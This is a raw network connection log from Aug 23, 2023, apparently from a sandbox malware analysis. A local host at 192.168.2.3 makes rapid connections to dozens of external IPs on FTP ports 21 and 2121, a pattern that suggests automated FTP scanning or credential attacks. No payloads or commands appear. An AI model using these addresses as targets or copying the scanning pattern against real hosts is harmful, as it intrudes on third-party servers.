Aug 23, 2023 09:16:40.018774986 CEST	21	52322	162.215.108.74	192.168.2.3
Aug 23, 2023 09:16:40.019201040 CEST	21	52420	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:40.019244909 CEST	21	52322	162.215.108.74	192.168.2.3
Aug 23, 2023 09:16:40.019469023 CEST	52322	21	192.168.2.3	162.215.108.74
Aug 23, 2023 09:16:40.019702911 CEST	52322	21	192.168.2.3	162.215.108.74
Aug 23, 2023 09:16:40.019711018 CEST	52420	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:40.020394087 CEST	2121	52423	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:40.020400047 CEST	52424	21	192.168.2.3	162.215.108.74
Aug 23, 2023 09:16:40.021281004 CEST	52423	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:40.021778107 CEST	2121	52418	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:40.027992010 CEST	52425	2121	192.168.2.3	52.230.228.165
Aug 23, 2023 09:16:40.028105021 CEST	52426	21	192.168.2.3	94.228.101.62
Aug 23, 2023 09:16:40.036045074 CEST	21	52420	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:40.036178112 CEST	21	52420	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:40.036222935 CEST	21	52420	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:40.036436081 CEST	52420	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:40.036951065 CEST	52427	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:40.038055897 CEST	52348	21	192.168.2.3	5.69.146.255
Aug 23, 2023 09:16:40.039119005 CEST	52420	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:40.043844938 CEST	21	52421	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:40.044574022 CEST	21	52366	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:40.044933081 CEST	52421	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:40.044985056 CEST	21	52426	94.228.101.62	192.168.2.3
Aug 23, 2023 09:16:40.053374052 CEST	21	52427	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:40.055205107 CEST	52427	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:40.055366039 CEST	21	52420	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:40.056160927 CEST	21	52413	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:40.056741953 CEST	52413	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:40.096548080 CEST	21	52417	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:40.097918034 CEST	21	52417	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:40.099802971 CEST	52417	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:40.154083014 CEST	21	52374	220.121.77.139	192.168.2.3
Aug 23, 2023 09:16:40.154398918 CEST	2121	52379	220.121.77.139	192.168.2.3
Aug 23, 2023 09:16:40.155122995 CEST	52428	2121	192.168.2.3	94.228.101.62
Aug 23, 2023 09:16:40.163696051 CEST	52429	21	192.168.2.3	70.62.226.97
Aug 23, 2023 09:16:40.172570944 CEST	2121	52428	94.228.101.62	192.168.2.3
Aug 23, 2023 09:16:40.178680897 CEST	52386	21	192.168.2.3	112.162.170.127
Aug 23, 2023 09:16:40.178725958 CEST	52387	2121	192.168.2.3	112.162.170.127
Aug 23, 2023 09:16:40.194205999 CEST	52397	2121	192.168.2.3	14.91.177.251
Aug 23, 2023 09:16:40.194221020 CEST	52399	21	192.168.2.3	14.91.177.251
Aug 23, 2023 09:16:40.197892904 CEST	21	52322	162.215.108.74	192.168.2.3
Aug 23, 2023 09:16:40.198618889 CEST	21	52424	162.215.108.74	192.168.2.3
Aug 23, 2023 09:16:40.198740005 CEST	52424	21	192.168.2.3	162.215.108.74
Aug 23, 2023 09:16:40.221674919 CEST	2121	52423	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:40.225111961 CEST	52423	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:40.226794958 CEST	52431	21	192.168.2.3	24.24.177.160
Aug 23, 2023 09:16:40.227503061 CEST	52430	2121	192.168.2.3	70.62.226.97
Aug 23, 2023 09:16:40.234366894 CEST	21	52421	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:40.234638929 CEST	52421	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:40.253514051 CEST	21	52427	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:40.253858089 CEST	52427	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:40.255279064 CEST	2121	52423	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:40.256711960 CEST	52393	21	192.168.2.3	43.163.211.21
Aug 23, 2023 09:16:40.256733894 CEST	52350	21	192.168.2.3	94.192.155.186
Aug 23, 2023 09:16:40.256802082 CEST	2121	52423	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:40.256865025 CEST	52394	2121	192.168.2.3	43.163.211.21
Aug 23, 2023 09:16:40.256874084 CEST	52353	2121	192.168.2.3	94.192.155.186
Aug 23, 2023 09:16:40.257594109 CEST	52423	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:40.268711090 CEST	21	52413	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:40.268767118 CEST	21	52413	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:40.268874884 CEST	52413	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:40.269109011 CEST	52413	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:40.269515038 CEST	52432	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:40.270112991 CEST	21	52427	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:40.270535946 CEST	21	52427	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:40.270828962 CEST	52427	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:40.271920919 CEST	21	52417	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:40.272186995 CEST	52417	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:40.272325039 CEST	52349	2121	192.168.2.3	5.69.146.255
Aug 23, 2023 09:16:40.272337914 CEST	52354	21	192.168.2.3	218.238.46.93
Aug 23, 2023 09:16:40.272345066 CEST	52352	2121	192.168.2.3	73.16.197.97
Aug 23, 2023 09:16:40.272350073 CEST	52351	21	192.168.2.3	73.16.197.97
Aug 23, 2023 09:16:40.276245117 CEST	52433	21	192.168.2.3	174.67.35.22
Aug 23, 2023 09:16:40.279997110 CEST	52434	2121	192.168.2.3	24.24.177.160
Aug 23, 2023 09:16:40.287239075 CEST	21	52427	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:40.289355040 CEST	52435	2121	192.168.2.3	174.67.35.22
Aug 23, 2023 09:16:40.290446043 CEST	2121	52423	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:40.290719986 CEST	52423	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:40.306411028 CEST	52436	21	192.168.2.3	95.129.249.83
Aug 23, 2023 09:16:40.307126045 CEST	52437	2121	192.168.2.3	95.129.249.83
Aug 23, 2023 09:16:40.307925940 CEST	52438	21	192.168.2.3	84.192.205.236
Aug 23, 2023 09:16:40.321413040 CEST	2121	52423	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:40.321676016 CEST	52423	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:40.321892977 CEST	2121	52423	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:40.321959019 CEST	52423	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:40.322417974 CEST	52439	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:40.351382017 CEST	2121	52439	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:40.351526976 CEST	52439	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:40.351798058 CEST	2121	52423	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:40.376981974 CEST	21	52427	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:40.377346992 CEST	52427	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:40.378679991 CEST	21	52424	162.215.108.74	192.168.2.3
Aug 23, 2023 09:16:40.379028082 CEST	52424	21	192.168.2.3	162.215.108.74
Aug 23, 2023 09:16:40.393748999 CEST	21	52427	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:40.393802881 CEST	21	52427	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:40.393841982 CEST	21	52427	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:40.393961906 CEST	52427	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:40.394068956 CEST	52427	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:40.395068884 CEST	52440	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:40.397352934 CEST	52357	2121	192.168.2.3	218.238.46.93
Aug 23, 2023 09:16:40.397360086 CEST	52408	2121	192.168.2.3	180.176.210.173
Aug 23, 2023 09:16:40.397486925 CEST	52358	21	192.168.2.3	18.164.95.24
Aug 23, 2023 09:16:40.397496939 CEST	52407	21	192.168.2.3	180.176.210.173
Aug 23, 2023 09:16:40.410381079 CEST	21	52427	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:40.411415100 CEST	21	52440	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:40.411551952 CEST	52440	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:40.413817883 CEST	21	52421	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:40.413858891 CEST	21	52421	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:40.414386988 CEST	52421	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:40.414405107 CEST	52441	2121	192.168.2.3	84.192.205.236
Aug 23, 2023 09:16:40.429476023 CEST	2121	52387	112.162.170.127	192.168.2.3
Aug 23, 2023 09:16:40.429517984 CEST	21	52386	112.162.170.127	192.168.2.3
Aug 23, 2023 09:16:40.430505037 CEST	52442	21	192.168.2.3	174.131.49.52
Aug 23, 2023 09:16:40.430569887 CEST	52443	2121	192.168.2.3	174.131.49.52
Aug 23, 2023 09:16:40.430830956 CEST	21	52383	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:40.431134939 CEST	52383	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:40.443862915 CEST	21	52417	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:40.443902016 CEST	21	52417	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:40.443958998 CEST	52417	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:40.444108963 CEST	52417	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:40.444847107 CEST	52444	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:40.454904079 CEST	2121	52397	14.91.177.251	192.168.2.3
Aug 23, 2023 09:16:40.455140114 CEST	21	52399	14.91.177.251	192.168.2.3
Aug 23, 2023 09:16:40.455601931 CEST	52445	21	192.168.2.3	24.175.58.1
Aug 23, 2023 09:16:40.456357956 CEST	52446	2121	192.168.2.3	24.175.58.1
Aug 23, 2023 09:16:40.480878115 CEST	21	52413	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:40.497397900 CEST	21	52432	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:40.497503042 CEST	52432	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:40.523044109 CEST	52447	21	192.168.2.3	20.27.196.190
Aug 23, 2023 09:16:40.538687944 CEST	21	52393	43.163.211.21	192.168.2.3
Aug 23, 2023 09:16:40.539446115 CEST	52448	2121	192.168.2.3	20.27.196.190
Aug 23, 2023 09:16:40.544378042 CEST	2121	52394	43.163.211.21	192.168.2.3
Aug 23, 2023 09:16:40.545214891 CEST	52449	21	192.168.2.3	45.187.50.132
Aug 23, 2023 09:16:40.552012920 CEST	2121	52439	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:40.552330017 CEST	52439	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:40.553607941 CEST	52359	2121	192.168.2.3	18.164.95.24
Aug 23, 2023 09:16:40.553644896 CEST	52426	21	192.168.2.3	94.228.101.62
Aug 23, 2023 09:16:40.557334900 CEST	21	52424	162.215.108.74	192.168.2.3
Aug 23, 2023 09:16:40.557375908 CEST	21	52424	162.215.108.74	192.168.2.3
Aug 23, 2023 09:16:40.557735920 CEST	52424	21	192.168.2.3	162.215.108.74
Aug 23, 2023 09:16:40.570943117 CEST	21	52426	94.228.101.62	192.168.2.3
Aug 23, 2023 09:16:40.581101894 CEST	2121	52439	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:40.582076073 CEST	2121	52439	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:40.582406044 CEST	52439	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:40.585587978 CEST	52450	2121	192.168.2.3	45.187.50.132
Aug 23, 2023 09:16:40.603281021 CEST	21	52440	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:40.603840113 CEST	52440	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:40.611526966 CEST	2121	52408	180.176.210.173	192.168.2.3
Aug 23, 2023 09:16:40.612446070 CEST	52451	21	192.168.2.3	209.143.6.253
Aug 23, 2023 09:16:40.613795042 CEST	2121	52439	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:40.614149094 CEST	52439	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:40.615434885 CEST	21	52417	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:40.615622044 CEST	21	52407	180.176.210.173	192.168.2.3
Aug 23, 2023 09:16:40.615966082 CEST	21	52444	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:40.616060019 CEST	52444	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:40.616127968 CEST	52360	21	192.168.2.3	95.118.46.83
Aug 23, 2023 09:16:40.616913080 CEST	52452	2121	192.168.2.3	209.143.6.253
Aug 23, 2023 09:16:40.620070934 CEST	21	52440	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:40.620279074 CEST	21	52440	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:40.620668888 CEST	52440	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:40.632611990 CEST	21	52421	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:40.636917114 CEST	21	52440	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:40.643539906 CEST	2121	52439	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:40.644073963 CEST	2121	52439	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:40.644156933 CEST	52439	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:40.644973993 CEST	21	52383	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:40.644999027 CEST	21	52383	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:40.645014048 CEST	21	52383	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:40.645164967 CEST	52383	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:40.646869898 CEST	52383	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:40.646954060 CEST	52439	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:40.648139954 CEST	52453	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:40.648462057 CEST	52454	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:40.675581932 CEST	2121	52439	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:40.678668976 CEST	52428	2121	192.168.2.3	94.228.101.62
Aug 23, 2023 09:16:40.680141926 CEST	2121	52453	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:40.680239916 CEST	52453	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:40.695900917 CEST	2121	52428	94.228.101.62	192.168.2.3
Aug 23, 2023 09:16:40.700330973 CEST	21	52440	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:40.700746059 CEST	52440	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:40.717035055 CEST	21	52440	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:40.717061996 CEST	21	52440	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:40.717087030 CEST	21	52440	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:40.717191935 CEST	52440	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:40.717295885 CEST	52440	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:40.718007088 CEST	52455	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:40.727169037 CEST	21	52432	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:40.727443933 CEST	52432	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:40.733423948 CEST	21	52440	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:40.734380007 CEST	21	52455	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:40.734518051 CEST	52455	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:40.776503086 CEST	21	52424	162.215.108.74	192.168.2.3
Aug 23, 2023 09:16:40.792882919 CEST	21	52444	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:40.793320894 CEST	52444	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:40.860261917 CEST	21	52383	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:40.862138987 CEST	21	52454	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:40.862226009 CEST	52454	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:40.879724979 CEST	2121	52453	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:40.880069971 CEST	52453	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:40.881783962 CEST	52364	2121	192.168.2.3	95.118.46.83
Aug 23, 2023 09:16:40.883101940 CEST	52456	21	192.168.2.3	112.214.241.2
Aug 23, 2023 09:16:40.897397041 CEST	52365	21	192.168.2.3	129.150.55.173
Aug 23, 2023 09:16:40.911931038 CEST	2121	52453	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:40.913444042 CEST	2121	52453	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:40.913891077 CEST	52453	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:40.948540926 CEST	2121	52453	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:40.948970079 CEST	52453	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:40.955040932 CEST	21	52455	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:40.955182076 CEST	21	52432	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:40.955348969 CEST	52455	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:40.955534935 CEST	21	52432	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:40.955823898 CEST	52432	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:40.964562893 CEST	21	52444	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:40.965514898 CEST	21	52444	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:40.965970993 CEST	52444	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:40.971618891 CEST	21	52455	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:40.971987009 CEST	21	52455	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:40.972311020 CEST	52455	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:40.981606007 CEST	2121	52453	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:40.982038021 CEST	2121	52453	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:40.982120991 CEST	52453	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:40.982165098 CEST	52453	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:40.988584995 CEST	21	52455	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:40.990632057 CEST	52457	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:41.013971090 CEST	2121	52453	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:41.019290924 CEST	2121	52457	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:41.019423962 CEST	52457	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:41.049046993 CEST	21	52455	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:41.049432039 CEST	52455	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:41.065629005 CEST	21	52455	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:41.065665007 CEST	21	52455	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:41.065692902 CEST	21	52455	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:41.065773010 CEST	52455	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:41.065920115 CEST	52455	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:41.066509008 CEST	52458	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:41.081748962 CEST	21	52454	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:41.082052946 CEST	52454	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:41.082094908 CEST	21	52455	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:41.082788944 CEST	21	52458	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:41.082871914 CEST	52458	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:41.084918976 CEST	52426	21	192.168.2.3	94.228.101.62
Aug 23, 2023 09:16:41.101937056 CEST	21	52426	94.228.101.62	192.168.2.3
Aug 23, 2023 09:16:41.103051901 CEST	52459	2121	192.168.2.3	112.214.241.2
Aug 23, 2023 09:16:41.137774944 CEST	21	52444	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:41.138377905 CEST	52444	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:41.184052944 CEST	21	52432	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:41.184448004 CEST	52432	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:41.209979057 CEST	52428	2121	192.168.2.3	94.228.101.62
Aug 23, 2023 09:16:41.212802887 CEST	2121	52457	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:41.213316917 CEST	52457	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:41.227080107 CEST	2121	52428	94.228.101.62	192.168.2.3
Aug 23, 2023 09:16:41.231358051 CEST	52460	21	192.168.2.3	201.19.182.127
Aug 23, 2023 09:16:41.242017984 CEST	2121	52457	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:41.243659019 CEST	2121	52457	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:41.243933916 CEST	52457	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:41.279055119 CEST	2121	52457	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:41.279755116 CEST	52457	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:41.295545101 CEST	21	52454	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:41.304033995 CEST	21	52458	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:41.304451942 CEST	52458	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:41.309154987 CEST	2121	52457	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:41.309540033 CEST	2121	52457	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:41.309643030 CEST	52457	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:41.309700966 CEST	52457	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:41.309787035 CEST	21	52444	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:41.309824944 CEST	21	52444	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:41.310231924 CEST	52444	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:41.310303926 CEST	52461	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:41.310308933 CEST	52444	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:41.311558008 CEST	52462	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:41.319376945 CEST	52372	2121	192.168.2.3	129.150.55.173
Aug 23, 2023 09:16:41.320890903 CEST	21	52458	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:41.321475983 CEST	21	52458	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:41.321544886 CEST	52463	2121	192.168.2.3	201.19.182.127
Aug 23, 2023 09:16:41.321820021 CEST	52458	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:41.334940910 CEST	52378	2121	192.168.2.3	80.44.234.104
Aug 23, 2023 09:16:41.334989071 CEST	52376	2121	192.168.2.3	68.83.248.99
Aug 23, 2023 09:16:41.335031033 CEST	52373	21	192.168.2.3	80.44.234.104
Aug 23, 2023 09:16:41.338324070 CEST	21	52458	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:41.338361025 CEST	2121	52457	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:41.342933893 CEST	2121	52461	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:41.343048096 CEST	52461	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:41.350579023 CEST	52375	21	192.168.2.3	68.83.248.99
Aug 23, 2023 09:16:41.350634098 CEST	52380	2121	192.168.2.3	86.3.161.91
Aug 23, 2023 09:16:41.350635052 CEST	52377	21	192.168.2.3	86.3.161.91
Aug 23, 2023 09:16:41.381823063 CEST	52381	21	192.168.2.3	52.180.253.171
Aug 23, 2023 09:16:41.420402050 CEST	21	52458	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:41.420773029 CEST	21	52432	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:41.420809984 CEST	21	52432	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:41.420954943 CEST	52458	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:41.421006918 CEST	52432	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:41.421184063 CEST	52432	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:41.421838045 CEST	52464	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:41.437125921 CEST	21	52458	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:41.437165976 CEST	21	52458	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:41.437201023 CEST	21	52458	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:41.437338114 CEST	52458	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:41.439135075 CEST	52458	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:41.439137936 CEST	52465	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:41.455674887 CEST	21	52458	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:41.455732107 CEST	21	52465	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:41.455889940 CEST	52465	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:41.481515884 CEST	21	52444	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:41.483191013 CEST	21	52462	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:41.483501911 CEST	52462	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:41.491384983 CEST	52382	2121	192.168.2.3	52.180.253.171
Aug 23, 2023 09:16:41.494797945 CEST	52466	21	192.168.2.3	84.177.215.70
Aug 23, 2023 09:16:41.544840097 CEST	2121	52461	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:41.548033953 CEST	52461	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:41.580012083 CEST	2121	52461	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:41.581455946 CEST	2121	52461	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:41.581847906 CEST	52461	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:41.585906982 CEST	21	52323	190.64.144.252	192.168.2.3
Aug 23, 2023 09:16:41.586297035 CEST	52323	21	192.168.2.3	190.64.144.252
Aug 23, 2023 09:16:41.597330093 CEST	21	52421	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:41.599877119 CEST	52421	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:41.616019964 CEST	2121	52461	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:41.616672039 CEST	52461	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:41.647603035 CEST	52389	2121	192.168.2.3	222.116.72.160
Aug 23, 2023 09:16:41.647643089 CEST	52391	21	192.168.2.3	107.84.41.16
Aug 23, 2023 09:16:41.647676945 CEST	52388	21	192.168.2.3	222.116.72.160
Aug 23, 2023 09:16:41.648156881 CEST	21	52465	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:41.648812056 CEST	21	52432	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:41.648962975 CEST	2121	52461	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:41.649324894 CEST	52465	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:41.649405956 CEST	2121	52461	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:41.649467945 CEST	52461	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:41.649655104 CEST	52461	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:41.650039911 CEST	21	52464	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:41.650108099 CEST	52467	2121	192.168.2.3	95.85.215.156
